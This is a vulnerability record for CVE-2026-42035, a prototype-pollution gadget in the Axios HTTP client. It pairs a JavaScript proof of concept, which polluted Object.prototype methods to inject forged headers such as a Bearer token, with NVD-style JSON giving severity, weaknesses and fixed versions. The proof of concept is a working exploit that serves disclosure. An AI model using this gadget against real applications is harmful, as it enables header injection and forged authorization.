CVE-2026-42035

// 1. Pollute Object.prototype with the required gadget properties Object.prototype.getHeaders = function() { // Inject arbitrary headers return { 'x-malicious-header': 'exploited-by-cve-2026-42035', 'authorization': 'Bearer attacker-token' }; }; Object.prototype.append = function() {}; Object.prototype.pipe = function() {}; Object.prototype.on = function() {}; Object.prototype.once = function() {}; Object.prototype[Symbol.toStringTag] = 'FormData'; const axios = require('axios'); // Vulnerable version < 1.15.1 or < 0.31.1 // 2. Send a request with a plain object payload // Due to prototype pollution, Axios treats this plain object as FormData // and merges the headers returned by the polluted getHeaders() into the request. axios.post('http://victim-endpoint.com/api', { some: 'data' }) .then(response => console.log('Request sent:', response.status)) .catch(error => console.error('Error:', error.message));

{"cve": {"id": "CVE-2026-42035", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:30.273", "lastModified": "2026-04-27T19:58:39.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, a prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request. The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget. This vulnerability is fixed in 1.15.1 and 0.31.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-113"}, {"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.31.1", "matchCriteriaId": "7D2B28C9-026E-4CD6-BD17-7EDD42108106"}, {"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.15.1", "matchCriteriaId": "3EC1EF30-EBB8-410B-90FB-1F18A3545C2E"}]}]}], "references": [{"url": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}